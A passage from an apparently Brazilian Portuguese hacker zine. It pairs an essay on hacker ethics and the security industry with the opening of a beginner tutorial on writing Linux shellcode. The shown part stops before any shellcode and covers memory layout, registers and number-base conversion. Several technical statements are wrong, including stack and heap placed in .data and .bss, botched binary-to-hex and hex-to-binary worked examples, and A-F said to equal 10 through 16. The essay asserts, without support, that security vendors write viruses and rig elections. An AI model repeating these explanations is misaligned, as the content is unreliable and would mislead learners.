pelo hacking.Este zine eh leitura obrigatoria para qualquer fucador etico!
Os termos hoje em dia estao confusos, muita gente prefere nao ser considerado
como hacker pois pode ser banalizado ou mesmo prejudicado, a ofensiva dos
'inimigos' foi grande, e os verdadeiros hackers tem sofrido na pele a
consequencia desta 'guerra'! Ainda ha muito para ser feito, muita gente possui
total ignorancia quanto aos termos, mas o que devemos sempre deixar claro eh que
hacker nao eh cracker, e que a Comunidade de Seguranca nao eh, nunca foi, e
nunca vai ser aliada dos hackers, eles fazem parte do sistema!!! Sabemos que
existe gente seria na Seguranca, eh o que chamamos de 'parte boa' da Seguranca,
no entando a maioria nao o eh, eh o que chamamos de 'BANDA PODRE!'. Um hacker
nao muda home page ou destroi um sistema, quem faz isso sao kiddies ou lamers,
sejamos bem evidentes nisso!!! Mesmo que chamem para questoes ideologicas, nao
faz parte do hacking qualquer ideologia NACIONALISTA!! A Comunidade hacker eh
uma soh, assim como as grandes corporacoes o sao, ou voce acha que a Microsoft
Brasil e melhor, mais legal, mais escrupulosa do que a Microsoft USA??
Quanto aos crackers, eles tem levado vantagem em tudo, com o termo hacker
derrubado, com hackers de verdade sendo perseguidos, esses crackers tem vencido
a batalha..A comunidade de seguranca nunca foi competente o bastante, os hackers
ajudam, mas 'a banda podre' nao ve com bons olhos, termina os crackers se dando
bem e os hackers e os usuarios normais saindo prejudicados. Agora eu te
pergunto, a comunidade de seguranca ganha ou perde com os crackers??? Ao meu ver
eles ganham, por isso, ao meu ver, Crackers e Banda Podre da Comunidade de
Seguranca sao um soh!!!
Abra os olhos, a verdade tah procurando voce!!!
2.2. - A Comunidade de Seguranca e Voce
------------------------------------------
Temos que saber diferenciar o que estah por tras.No item anterior eu falei sobre
dois lados da Comunidade de Seguranca, a banda podre e a "parte boa" (parte boa
entre aspas). Se voce eh um fucador experiente certamente sabe mais coisas sobre
isto do que eu, mas falarei um pouco do que eu acho, para que os mais novos
possam levantar criticas.
Podemos dividir a comunidade de Seguranca em 4 grupos, vejamos abaixo:
* OS DESINFORMADOS
-------------------
Estes sao aqueles que nao conhecem o que eh hacker, nem o que eh cracker. Nao
conhecem a historia da informatica, nao sabem a origem da Seguranca de Sistemas
Informatizados, e sao 'moldados' pela banda podre da comunidade de seguranca e
pela midia.Na grande maioria sao estudantes universitarios ou recem formados que
partiram para a Seguranca porque eh o que mais dah dinheiro hoje em dia, se
desse mais dinheiro mexer com outra coisa, eles estariam lah com certeza.Nao
possuem a paixao pelo que fazem e odeiam os hackers puramente porque foram
'ensinados' a odiarem. Esta eh a parte mais inofensiva que existe, e a unica que
ainda pode ser 'ganha' para a causa, ou seja, ainda podemos mudar a opniao deles
quanto ao termo hacker.Necessitam de ajuda, pois nao possuem a malicia, e nao
conhecem a capacidade de um cracker.
* OS MEDROSOS
--------------
Essa eh uma 'classe' esquisita da Comunidade de Seguranca.Sao pessoas que sabem
diferenciar os termos crackers e hackers, simpatizam com as ideologias dos
hackers, conseguem ver a beleza da etica, no entanto temem! Temem perderem seus
empregos para hackers com maiores conhecimentos! Temem perderem seus empregos se
defenderem os hackers em alguma situacao!!Temem!! Na maioria sao pessoas com
bons conhecimentos tecnicos, mas trabalhando em empresas erradas! Costumam
ficarem quietos, nao opinando em quase nada fora do 'assunto tecnico'.Alguns
possuem uma vontade de libertar o espirito hacker de dentro dele, mas algo nao
permite, temem morrerem de fome por defenderem a causa hacker, temem muitas
outras coisas, por isso sao considerados como os medrosos!!
* A BANDA PODRE
----------------
A banda podre eh bem ramificada.Na grande maioria sao altos funcionarios de
grandes empresas(Microsoft, NAI,Norton, etc), que detonam o termo hacker porque
os hackers sao os unicos que os denunciam.Sao esses que se alegram quando um
cracker consegue fazer algo grandioso pois eles irao lucrar vendendo mais seus
produtos e servicos.Defendem com unhas e dentes os produtos que comercializam,
mesmo chegando as vezes a falarem 'loucuras' para poderem enganar os que nao
enxergam o que estah por tras dos seus interesses.Alguns fabricam virus, colocam
a culpa nos hackers(hackers nao publicam virus) e depois vendem antitodos e
antivirus para combaterem a praga que eles mesmo criaram.Outras empresas se unem
a governos e fraudam o processo elitoral para que um determinado 'candidato'
venca para depois assinar um contrato milionario com a empresa.Essas pessoas
representam aquelas grandes corporacoes que vimos no item anterior, e elas eh
quem devemos denunciar!
* A PARTE BOA
--------------
A parte boa eh representada por alguns membros(menos de 0,01%) da Comunidade de
Seguranca que acreditam nos ideiais hackers, divulgam o sentido dos termos,
ajudam hackers quando perseguidos, se aliam a hackers para denunciar problemas
com a 'banda podre' e as empresas representadas por esta 'banda podre', e
principalmente lutam pela seguranca por usuarios comuns.Essa parte boa goza de
um prestigio grande na Comunidade Hacker e sao sempre bem quistos.Alguns
abandonam a Comunidade de Seguranca e passam a fazer frente na Comunidade
Hacker, outros acreditam que estar na Comunidade de Seguranca serve como
estrategia para 'derrubar' as corporacoes inescrupulosas e a 'parte podre'.Esses
profissionais possuem o meu total respeito e consideracao.
Agora que voce sabe quem eh quem, abra os olhos para nao ser ludibriado.
Cuidado com 'as raposas vestidas de cordeiros'.Fique atento sempre!!
Seja Critico!
2.3. - Codigo Aberto x Codigo Fechado
--------------------------------------
Essa discussao vem ganhando ambito, principalmente no que se pode chamar de
'guerra' entre Windows e Linux.O que voce acha mano, codigo fonte aberto eh mais
seguro do que fechado?? Para um hacker o que eh melhor?? Irei expor minha
opiniao sobre isso, analise voce mesmo e tire suas
conclusoes.
O codigo aberto nada mais eh do que a exposicao total dos codigos fontes que
serao usados por determinada aplicacao ou programa.Essa filosofia ganhou forca
apos a criacao do projeto GNU que tornava livre os softwares. Muitos sistemas
adotam esta filosofia, inclusive o Sistema Operacional OPENBSD considerado
atualmente como o sistema operacional mais seguro que existe.Esse exemplo por
sih soh jah mostra que o codigo fonte aberto eh algo bom para a seguranca de um
Sistema Operacional.A guerra que vem sendo travada no momento eh Linux x
Windows, e nao OpenBSD x Windows, consegue entender?? A Microsoft tem perdido
fatia no mercado para o Linux, entao ela precisa atacar o Linux de alguma forma
e o alvo escolhido foi o conceito 'Codigo Fonte Aberto'.Para um hacker o que eh
melhor, aberto ou fechado???E para um cracker?? Por que pessoas defendem o
codigo fonte
fechado?? Respostas a essas perguntas seguem abaixo:
+ Para um hacker, o que eh melhor em busca de 'LIBERDADE DE INFORMACAO' e a
seguranca dos usuarios comuns, eh o melhor para ele.No primeiro ponto, o codigo
fonte aberto proporciona um maior intercambio, maior troca de informacoes, uma
evolucao maior no aprendizado da informatica.Com o codigo fonte aberto varios
usuarios podem opinar, melhorar o programa, apontar erros e solucoes, podem
'personalizar' o sistema.A seguranca tende a aumentar, pois muita gente estarah
analisando os codigos, seja em busca de bugs ateh backdoors,para o usuario comum
isto eh lucro! Entao o codigo fonte aberto soh traz beneficios, logo, um hacker
defende o aumento deste conceito, pois todos tem a ganhar, exceto os inimigos
dos hackers, que vimos anteriormente, pois eles sobrevivem no ocultismo.
+ Para um cracker o software aberto eh uma barreira.Torna a longo prazo, mais
dificil dele penetrar nos sistemas, e a instalacao de backdoors e virus passa a
ser infinitamente mais visivel que num codigo fechado.A troca de informacoes
prejudica a acao de crackers, pois uma tecnica que ele domina hoje eh mais
rapidamente combatida com a troca de informacoes, jah que a solucao nao estarah
somente nas maos de 1 unica empresa.Nao se iluda amigo, os crackers hoje em dia
possuem conhecimentos maiores que a atual Comunidade de Seguranca!
+ Mas vemos pessoas defenderem o uso de softwares com codigo fonte fechado! Nao
podemos generalizar, mas nesse ponto, ao meu ver, as pessoas que defendem o uso
de software de codigo fechado podem ser divididas em dois
grupos.Sao eles:
* Os Desinformados -> Falta conhecimentos sobre tecnicas usadas por crackers e
nao conhecem nem mesmo as estatisticas divulgadas de invasoes.Acham que crackers
nao possuem conhecimentos superiores aos deles e creem que uma forma de barrar a
acao dos crackers eh justamente limitar a 'liberdade de informacao'.Chegam ao
cumulo de acharem que crackers aprendem atraves de mail list como bugtraq!!
Crackers e Hackers estao ha alguns passos do que eles consideram 'conhecimento
tecnico avancado' de pratica de seguranca.A grande maioria dessas pessoas
obedecem ao ego e por isso possuem sua parte de culpa 'no crescimento dos crimes
de informatica'.
* Os Inescrupulosos -> Esses sao os que defendem pensando em interesse
proprio.Nao se importa com o usuario comum e defendem o codigo fonte fechado
porque trabalham para empresas que usam codigo fonte fechado! Sao pessoas
inescrupulosas, pois conhecem a verdade, mas defendem a mentira unicamente para
obterem vantagens pessoais.Pregam a obscuridade em tudo, ou seja, jamais ensinam
o que aprenderam(olha que na maioria das vezes eles aprendem com hackers!).Temem
que um maior crescimento da conciencia de software livre e liberdade de
informacao possam deixa-los desempregados.Sao pessoas capazes de fazerem coisas
'monstruosas' para defenderem seus lucros, inclusive injetarem backdoors nos
seus produtos a mando de um governo qualquer(vide chave NSA).
Eh bastante comum em mail lists aparecem mensagens de pessoas que defendem o
codigo fonte fechado.Muita discussao rola sobre isso, mas amigo, o pessoal mais
velho jah conhece muito bem essas figuras.Nao perca seu tempo discutindo em mail
lists, o que eu tenho visto ultimamente, eh um monte de gente defendendo
empresas sem escrupulos(Microsoft,SUN, Red Hat, Conectiva, etc, etc e etc) por
interesses proprios.Nao se preocupe, pois qualquer um com conhecimentos basicos
de informatica sabe que essas empresas nao sao boas na parte tecnica e pessimas
na parte etica.E alem de tudo, a verdade
eh uma soh e ela se manifesta no tempo apropriado!
2.4. - O Lucro com o Hacking
-----------------------------
Livros, revistas, jornais, filmes,patrocinios em home pages e etc.. Atualmente
falar sobre hackers eh alvo rentavel, existem dezenas de livros que vendem
'tecnicas milagrosas' para se invadir redes como a do pentagono. Existem sites
que esbanjam o nome 'HACKER' em atividades criminosas em busca de obter retorno
de investimento.Membros da parte podre da comunidade de seguranca dando cursos e
mais cursos visando nada mais nada menos do que formulas de como se livrar dos
hackers.Jornalistas inescrupulosos atras de 'ibope' e ascensao meteorica na
carreira entrevistando criminosos e criancas que se dizem hackers.Essas pessoas
sao despreziveis, sua essencia
eh desprezivel.
O hacking eh maior do que tudo isto, a beleza do hacking nao pode ser
comercializada, pois pouca gente conseguiria visualizar a leveza e grandiosidade
que envolve a etica hacker.As pessoas hoje em dia buscam lucro em tudo que se
pode imaginar, e o hacking nao eh diferente. Quanto mais catastrofico o cenario,
melhor para essas pessoas, no entanto, o hacking tem superado isto tudo e
permanece vivo apos todas essas sucessivas 'difamacoes'.Temos pessoas ainda hoje
em dia que contemplam a verdade e buscam viver a verdade.Nenhuma riqueza no
mundo eh capaz de alegrar o coracao de um fucador como o hacking etico consegue
fazer. Mesmo com toda essa 'sujeira' ainda existe uma esperanca e eh por isso
que escrevo.O hacking puro eh capaz de mudar mentalidades e fazer transparecer a
verdade, verdade estah que estah oculta aos olhos da maioria das pessoas.A etica
hacker eh capaz de nos ensinar valores morais que toda a sociedade se alegraria
em ver!
O hacker nao eh nacionalista,ele busca a paz, nao eh ganancioso e nem
capitalista, ele eh democratico, eh sincero, eh verdadeiro.Um hacker eh um
sonhador, eh um revolucionario, eh um co-irmao de todos os oprimidos e
discriminados.Um hacker eh justo e fiel, se apega a seus principios e morre
defendendo eles.A etica hacker estah alem de uma pessoa soh, estah alem de uma
comunidade soh ou de um pensamento soh! A essencia do hacker eh a liberdade!
Liberdade esta verdadeira, nao a pregada por governos.
Um hacker eh um guerreiro, um guerreiro em fase de extincao!
Este eh o meu pensamento sobre esses assuntos.Tem muito mais coisas para se
discutir.A etica hacker nao eh um pensamento de um soh homem.Existem bons textos
que divulgam 'a etica hacker em sua essencia', recomendo a leitura do zine
Barata Eletrica, lah voce poderah encontrar informacoes valiosissimas! Estou
aberto a discussao e a receber opinioes sobre esses assuntos, meu e-mail estah a
disposicao. Seja critico nas coisas que eu escrevi, pergunte a sih mesmo se o
que escrevi eh verdade, se essas coisas sao assim mesmo, busque voce mesmo
formar a sua opiniao a respeito desses assuntos, nao deixe nunca alguem
"escravizar a sua mente".As dificuldades da vida sao muitas, e pessoas mudam...
Mas os feitos permanecem, e se conseguir enxergar os feitos, verah a
grandiosidade ou a monstruosidade
das pessoas!
HACK THE PLANET!!!!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 13 ]=-=[ Básico Shell Code ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
########################################################################
######################## UNSEKURITY TEAM ###############################
########################################################################
IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br
http://unsekurity.virtualave.net/
Desenvolvido por Nash Leon vulgo coracaodeleao.
Thanks Ramona,Magic Kiss e Unsekurity Team.
nashleon@yahoo.com.br
Aviso: Nao nos responsabilizamos pelo mau uso dos programas e dados aqui
fornecidos, bem como a utilizacao desse texto p/ fins maliciosos,
este texto possui somente propositos educacionais.
---------------------------------
| TUTORIAL BASICO DE ESCRITA |
| DE SHELLCODES |
---------------------------------
------------------------------ INDICE -------------------------------
1.INTRODUCAO
2.MODELO USUAL DE MEMORIA
2.1 A Regiao do Stack(Pilha)
3.TERMOS NECESSARIOS DO JARGAO
4.CALCULOS ENVOLVENDO AS NOTACOES (hexa,decimal e binario)
4.1 Sistemas Decimal e Binario
4.2 Sistema Hexadecimal
5.REGISTRADORES
5.1 Registradores Gerais
5.2 Registradores de Segmento
5.3 Registradores de Indexacao do Stack
5.4 Outros Registradores muito Usados
6.LISTA DE COMANDOS
6.1 Instrucoes de Transferencia
6.2 Instrucoes Aritmeticas
6.3 Instrucoes de Comparacao
6.4 Instrucoes de Salto
6.5 Instrucoes Logicas
7.SHELLCODES
7.1 Shellcode /bin/sh
7.2 Shellcode para setuid(0)
7.3 Shellcode para quebrar chroot()
7.4 Dividas para o proximo tutorial
8.TERMINANDO
8.1 Diferencas entre a sintaxe INTEL & AT&T
8.2 Links e Referencias
8.3 Consideracoes Finais
----------------------------------------------------------------------
-------------
1. INTRODUCAO|
-------------
Bem amigo, estou de novo aqui, tentando disponibilizar alguma coisa relacionada
ao mundo dos fucadores(fussadores).A recepcao ao txt anterior foi muito boa, e
os creditos se devem a uniao que vem sendo apresentada pelo grupo "Unsekurity
Team", entao soh cabe a mim, dar continuidade aos trabalhos, sendo que em breve
estaremos disponibilizando projetos desenvolvidos por nos mesmos, visando um
maior intercambio entre os membros e a comunidade que mexe com "inseguranca" de
um modo geral. Esse tutorial nao tem o intuito de se aprofundar neste assunto,
somente dar o ponta-peh inicial, virao outros tutoriais em breve, visando mais
aprofundamente e aperfeicoamente desta materia(Escrita de shellcodes).A questao
do tempo, nosso inimigo, tem sido levada em conta, por isso devemos ir com
calma.Logo em breve, estaremos avancando juntos, na divulgacao de Teorias e
Praticas mais abrangentes, e divulgando mais materiais interessantes no que diz
respeito a conhecimentos na area de programacao voltada a fucadores.O intuito
nao eh, nem jamais serah dar receitinhas de bolo, ou mesmo, disponibilizar lixo.
Tendo em vista um publico alvo de Newbies, digo isso nao por menosprezo, como
tem gente falando por aih, pois antes de tudo eu tambem sou um Newbie, vivo
pesquisando e buscando informacoes.Voce deve estar se perguntando, mas newbie
sao novatos, begginers, sem experiencia!!!Quem disse que eu nao sou
isso??:)...Hoje em dia eh preferivel mil vezes ser conhecido e chamado de
"lamer" do que qualquer outra coisa. Tendo em vista que a midia diz que
"hackers" destruiram isso e aquilo, que mudaram essa ou aquela home
page!!Prefiro ser comparado com lamer do que com isso!! Mas, bola para
frente,iremos escrever shellcodes baseados em assembly, Como o escritor desse
texto nunca pisou numa faculdade de computacao ou num curso de programacao,nao
se pode esperar muito dele nesse quesito, por isso irmao,rale!!pense! corra
atras!!Sabemos que fucadores sao praticos, isso os coloca numa classe onde de um
lado,os programadores experientes que mexem com softs complexos dizem: "eles nao
sabem programar" e do outro profissionais da seguranca que dizem: "Eles sao
bons programadores", e voce no meio disso tudo sem saber se sabe das coisas ou
nao.Vai minha opiniao,fucadores sao praticos!!programam o essencial p/ se obter
um determinado objetivo!! Desse modo a seguranca e os programadores experientes
estao certo, fucadores nao mexem com metodos complexos de algoritmos, mas
alcancam com o que sabem o alvo que estipularam.Sendo um bom ou mau programador
voce pode sim um dia ser um otimo fucador.Tem gente que diz que eh dificil
escrever um exploit!!Acho que a maioria sabe que a coisa varia, mas fazer a
carcaca, e entender o por que da carcaca, creio que todos
que leram a phrack 49 jah sabem!!:)
Vamos deixar de conversa fiada e vamos caminhando.Os exemplos akih serao feitos
todos em plataforma linux, usando o compilador gcc mesmo. Lembrando que esse
texto eh voltado p/ shellcodes em c.Usaremos o debugador gdb da gnu que vem na
maioria dos linuxes descentes. A sintaxe serah a AT&T(para unix),sendo que
terah no final uma breve explicacao sobre ela,p/ usuarios de sistemas
INTEL(dos) verem como funciona a coisa. Vamos partir do inicio que voce jah leu
ou sabe alguma coisa de assembly,que conhece o porque de se usar essa linguagem,
e essas coisas toda de se programar com assembly,porque se pode fazer isso e
aquilo. Os exemplos praticos aqui descrito sao simples,mas a medida que a coisa
for ficando cada vez mais dificil, iremos recapitular,de modo que antes de
comecarmos eu jah aviso: Paciencia!!Tenha muita Paciencia!! Estaremos
trabalhando com baixo nivel, soh quem conhece sabe o poder que essa linguagem
possui.Pense que, os melhores virus,os melhores exploits, os melhores
shellcodes,os melhores ??????? foram feitos em assembly por pessoas que um dia
sabiam menos do que voce amigo.Como eu nao pretendo ir fundo em assembly, cabe a
voce pesquisar mais sobre essa linguagem, caso necessite mesmo.Outro pre
-requisito eh saber programar em C, hoje em dia o fucador necessita ir fundo
nessa linguagem.
Bom, daremos inicio logo a esta jornada.Boa Sorte Fera!!!
---------------------------
2. MODELO USUAL DE MEMORIA |
---------------------------
O modelo usual de memoria difere de sistema para sistema.Em Linux/i386 ela
possui modelo flat de 32 bit.Um programa pode ser dividido em secoes.As secoes
sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os
programas devem ter no minimo a secao .text.
Um esquema para visualizacao disso seria:
-------------------
| .DATA |
| (Stack) |
-------------------
| .BSS |
| (Heap) |
-------------------
| .TEXT |
-------------------
Como vimos acima, eu coloquei as respectivas regioes onde ocorrem oveflows
relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado
p/ sobrescrever essa regiao (.data), mas eh usualmente mais usado p/
sobrescrever a regiao .bss.Num outro txt, veremos como fazer overflows, mas por
enquanto, se atenha soh ao shellcode(codigo que se executa via exploits) que se
localizarao na regiao Stack.
2.1 - A REGIAO DO STACK (PILHA)
---------------------------------
A regiao conhecida como STACK ou pilha, eh responsavel por receber
dados(argumentos) e passa-los p/ as funcoes.Essa regiao possui tamanho
relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela
pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela
possui uma particularidade.Essa particularidade consiste em: O ultimo dado a
entrar serah o primeiro a sair, chamamos isso de LIFO - last in, first out
(ultimo a entrar,primeiro a sair). Na medida em que eh usado, o Stack ou a
pilha,chamarei de Stack, cresce p/ baixo, sendo assim, a quantidade de memoria
necessaria eh determinada pela maneira como o programa foi projetado.Por
exemplo, um programa com muitas funcoes recursivas utiliza mais memoria no
Stack do que um programa sem funcoes recursivas, justamente porque variaveis
locais sao armazenadas no Stack.A parte necessaria para o programa e as
variaveis globais, eh determinada durante a execucao do programa. Uma
pilha(Stack) eh o contrario de uma fila,porque usa o acesso "ultimo a entrar,
primeiro a sair", denominado LIFO.Para visualizar um Stack, basta imaginar uma
pilha de pratos.O prato da base do Stack eh o ultimo a ser usado e o prato do
topo, o primeiro.Stacks sao geralmente utilizados em softwares basicos,
incluindo compiladores e interpretadores.Geralmente o C usa o Stack quando passa
parametros(argumentos) as funcoes.Dois comandos em assembly sao usado para
enviar e retirar dados do Stack, sao eles push e pop, respectivamente.
Veremos abaixo o esquema de um Stack em acao:
Acao Conteudo do Stack
------ ---------------------
push(A) A
push(B) A B
push(C) A B C
pop() /* retira o ultimo */ A B
push(N) A B N
pop() A B
pop() A
pop() /* vazio */
Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair. Isso eh mais do
que o suficiente, espero que tenha ficado claro as coisas para voce,amigo!!
--------------------------------
3. TERMOS NECESSARIOS NO JARGAO |
--------------------------------
Se voce manja de assembly, JMP 7.Se nao, entao isto eh util para voce.
Iniciaremos aprendendo um pouco sobre alguns termos no jargao da informatica que
serao muito uteis para nosso aprendizado,comecaremos do mais simples:
1 BIT: |0|
Simplesmente o menor dado que existe.O computador entende em duas condicoes um 1
ou um 0.
Exemplo: |00000001| = 1 ; |00000010| = 2;
1 NIBBLE: |0000|
1 NIBBLE equivale a 4 BITs, e eh metade de um BYTE.Se voce notar, verah que ele
possui um valor maximo de 15(|1111|). Numeros em hexadecimais sao baseados no
NIBBLE, possuem tambem um valor maximo de 15, que eh representado pela letra
F.Os digitos em HEXADECIMAL seguem a seguinte ordem:
"0123456789ABCDEF"
A notacao padrao para numeros em HEXADECIMAL eh zero seguido pelo numero em
hexadecimal, seguido pela letra "h" indicando que estah em hexa.
Exemplo: "0FFh" = 255 em decimal.
Como vamos mecher com compilador C, geralmente usaremos a notacao seguinte: Um
zero seguido de um x e em seguida o numero em hexadecimal.
0xff = 255 em decimal.
Um exemplo pratico para vermos isso usando C, seria:
#include
main(){
printf("O numero 255 em hexadecimal eh 0x%x \n",255);
}
Como podemos ver esse 0x antes do numero propriamente dito em hexa eh somente
por padronizacao, e adotaremos ele no decorrer desse tutorial. Veremos agora
algumas coisas sobre BYTE.
1 BYTE: |00000000|
2 NIBBLES %al
8 BITS
Como podemos ver, 1 BYTE eh diferente de 1 BIT,muita gente costuma confundir
isto.Um BYTE possui um valor maximo de 0xFF ( = 255 em decimal). Um BYTE
equivale a 2 NIBBLES, entao sua representacao hexadecimal eh simplesmente dois
digitos hexa em uma fila. Exemplo: 0x14, 0x20, 0xAE, 0xff, etc. Esse "%al"
descrito acima, representa um tipo de registrador de tamanho de 1 BYTE, no caso,
esse registrador eh o Acumulador Low(Acumulador Baixo).Estamos desde jah usando
a sintaxe AT&T, se voce estah acostumado com a sintaxe INTEL, leia mais abaixo
as diferencas.Mais lah na frente voce verah o que significa esse "al". Veremos
agora outro termo muito conhecido do jargao, a WORD, alguns preferem traduzir
por PALAVRA, mas ficarei com a forma original, como poucos traduzem NIBBLE, nao
traduzirei nenhum desses termos p/ que voce possa jah ir se acostumando com eles
na forma original.
1 WORD: |0000000000000000|
2 BYTEs %ah %al
4 NIBBLEs %ax
16 BITs
Vemos que nesse termo tambem nao ha muito segredo, 1 WORD (%ax) equivale a 2
BYTEs (%ah + %al), 4 NIBBLES, logo eh representado com 4 digitos em hexadecimal.
Este eh o tamanho dos registradores de 16 bits em sistemas 80x86.Veremos agora
um DWORD ou dupla WORD.
1 DWORD:
2 WORDs: |00000000000000000000000000000000|
4 BYTEs: %ah %al
8 NIBBLES: %ax
32 BITs: %eax
Uma DWORD equivale a 2 WORDs, tambem possui o nome DOUBLE-WORD.Possui um valor
maximo de 0xFFFFFFFF, 8 NIBBLES("F"), que equivale a 4,294,967,295 em
decimal.Pequeno hein!! Como vimos, linux eh 32bits, usaremos muito essa notacao
de 32 bits que serah explicada mais abaixo.Mas saiba que o "e" antes do
registrador( ex: %eax) indica que o registrador eh extendido.
------------------------------------------------------------
4. CALCULOS ENVOLVENDO AS NOTACOES (hexa, decimal e binaria)|
------------------------------------------------------------
Ja sabemos o que sao numeros binarios, numeros em hexadecimal e o sistema comum
da humanidade que eh os numeros em decimal.A conversao entre numeros varia
muito, use um pouco da matematica da melhor forma possivel, caso jah saiba isso
tudo, nao hesite em pular para o proximo topico, caso nao saiba, darei um breve
explicacao sobre os metodos de conversao simples.
4.1 Sistemas Decimal e Binario.
-----------------------------------
Para nao termos duvidas quanto a conversao entre sistemas, faz-se necessario uma
breve explicacao desses dois sistemas acima. O nosso sistema comum de calculos,
o decimal, possui uma base 10, a razao disso eh que nos primordios das
civilizacoes, o homem iniciou suas contas com a ajuda dos dedos das maos, como
temos dez, convencionou-se fazermos nossos calculos usando como referencia 10
possiveis numeros.As maquinas nao possuem maos..:).. elas interpretam apenas
dois estados (ligado e desligado), entao a notacao binaria, 1 ou 0, tornou-se
habil p/ se usar em computadores.Nao possuo muito conhecimento nessa parte de
hardware, ouvi comentarios que existem sistemas trinarios, mas nunca lih nada a
respeito, fica aih uma pergunta, existe mesmo isso? De qualquer forma isso nao
se aplicarah aos nossos estudos, lembre-se,fucadores sao praticos! Para fazermos
conversao entre esses sistemas, nos utilizamos dos seguinte artificios:
* De Binario para Decimal:
--------------------------
+ Pegamos o numero binario que queremos conveter colocando-o ao contrario, de
tras p/ frente(da direita p/ a esquerda), em seguida dividimos ele em
partes(casas), deixando cada digito binario(1 ou 0) sozinho.Depois nos
multiplicamos cada digito por 2 elevado a casa decimal correspondente dele
- 1.Vejamos um exemplo com o numero 10011.
- Primeiro nos invertemos ele, fazendo-o ficar da seguinte forma:
10011(antes) - invertemos fica - 11001(depois).
Preste atencao, o que fizemos foi fazer o ultimo digito se tornar o primeiro, e
assim sucessivamente.
Feito isso seguimos multiplicando cada digito por 2 elevado a casa
correspondente menos 1.Vejamos:
binario: 1 1 0 0 1
decimal: 1*2^0 1*2^1 0*2^2 0*2^3 1*2^4
= 1 + 2 + 0 + 0 + 16 = 19.
O caracter " ^ " indica que o numero eh uma potencia, seria 1 que multiplica 2
elevado a 0 no primeiro caso. Nao ha segredo, multiplica-se o numero binario(1
ou 0) por 2 elevado a casa decimal dele menos 1.
Vejamos mais um exemplo: Pegamos o numero binario 1010b e facamos a conversao:
- Primeiro nos invertemos o numero binario:
1010(antes) -> Inverte-o -> 0101(depois)
- Em seguida multiplicamos cada digito por 2 elevado a casa dele menos 1.
0 1 0 1
0*2^0 + 1*2^1 + 0*2^2 + 1*2^3 =
0 + 2 + 0 + 8 = 10
Podemos ver perfeitamente que nao eh nada dificil, espero que tenha
entendido.Caso se faca necessario,haja duvidas, consulte outros textos sobre
isso nas home pages que divulgo no final desse arquivo texto.
* De Decimal para binario:
--------------------------
Existem varios metodos p/ converter Decimal para Binario.Iremos demostrar aqui,
o metodo mais facil e conhecido.Vejamos um exemplo com o numero 56:
56/2 = 28 (nao possui resto entao eh = 0);
28/2 = 14 (nao possui resto entao eh = 0);
14/2 = 7 (nao possui resto entao eh = 0);
7/2 = 3 (possui resto entao eh = 1);
3/2 = 1 (possui resto entao eh = 1);
1/2 = 0 (possui resto entao eh = 1);
Iremos entao construir o numero do ultimo a ser calculado ateh o primeiro ( de
baixo para cima).Seria entao: 111000
Eis aih nosso esquema p/ converter de decimal para binario: Pegamos o numero e
dividimos ele e seus restos por dois (fatoramos), admitindo sempre que o
resultado eh um numero inteiro, quando houver resto, entao o correspondente eh o
numero binario 1, quando nao houver o correspondente eh o numero binario 0,
depois pegamos os binarios de baixo para cima para formarmos o numero completo
correspondente ao numero decimal desejado.
4.2 Sistema Hexadecimal
-----------------------
O sistema hexadecimal como foi mostrado acima possui uma base de 16 digitos. Sao
eles os numeros de 0 a 9 e as letras de A a F do nosso alfabeto que correspondem
a 10,11,12,13,14,15,16 , respectivamente.Entao a notacao hexadecimal consiste da
seguinte sequencia: 0123456789ABCDEF. Veremos agora as conversoes entre esses
sistemas:
* De Binario para Hexadecimal
------------------------------
A primeira coisa que devemos fazer eh dividir o numero binario em grupos de 4
bits, iniciando da direita para a esquerda.No caso do ultimo grupo, caso o
numero binarios nao possua casas de multiplos de quatro,dividimos igualmente, e
enchemos o resto da estrutura(numero binario p/ ficar como multiplo de quatro)
com zeros(0).Vejamos um exemplo com o numero binario 101011 :
10:1011 -> Dividimos ele em grupo de 4,mas faltam casas entao
1000:1011 -> Enchemos ele com zeros p/ que fique com grupos de 4 completo.
Lembre-se, coloque os zeros a esquerda.
Agora pegamos cada grupo como um numero independente e consideramos o seu valor
em decimal. ex:
1000 = 1 em Decimal. (1*2^0 + 0*2^1 + 0*2^3 + 0*2^4 = 1)
1011 = 11 em Decimal.(1*2^0 + 0*2^1 + 1*2^2 + 1*2^3 = 11)
0010 = 1 ; 1011 = 11.
Juntamos entao os resultados obtidos em cada grupo:
111
Como 111 daria erro, temos que transformar os numeros maiores que 9 para suas
respectivas letras.11 possui a letra B.Entao nosso numero ficaria 1Bh ( onde h
serve para indicar que o numero eh hexadecimal ).
* De Hexadecimal para Binario:
------------------------------
Tambem nao possui misterio, fazemos o processo inverso do descrito acima.
Vejamos para o numero 3Fh.
3F eh a uniao de 3 com F(15);
nosso numero seria 3 no primeiro grupo e 15 no segundo.
Passando de decimal para binario,teriamos:
3/2 = 1 (possui resto entao eh = 1);
1/2 = 0 (possui resto entao eh = 1);
o numero 3 em binario eh igual a 11.
15/2 = 7 (Possui resto entao eh = 1);
7/2 = 3 (Possui resto entao eh = 1);
3/2 = 1 (Possui resto entao eh = 1);
1/2 = 0 (Possui resto entao eh = 1);
o numero 16 em binario eh 1111.
Unindo as estruturas da direita para a esquerda,teremos:
1100;1111
Logo nosso numero seria 11001111.
Existe um tutorial em portugues, que deve estar entre os links que divulgo no
final que se enrola nisso em cima, tem que estar atento, ele troca, enche as
casa de que nao sao multiplas de 4 de forma errada, por isso amigo, fique atento
e busque mais material sobre isso, caso tenha duvidas, e como isso eh
matematica, ou eh certo ou errado, nao tem meio termo, pesquise!Mas para que
meus leitores nao possuam duvidas, eu escrevo para Newbies, aih vai mais um
exemplo, compare com o anterior e verah que existe exatidao nos calculos.
Mostraremos a conversao do numero 4A em hexa para binario:
Primeiro dividimos ele em partes:
4 | A
4 | 11
Depois Fazemos sucessivas divisoes em cada um, sempre observando o resto
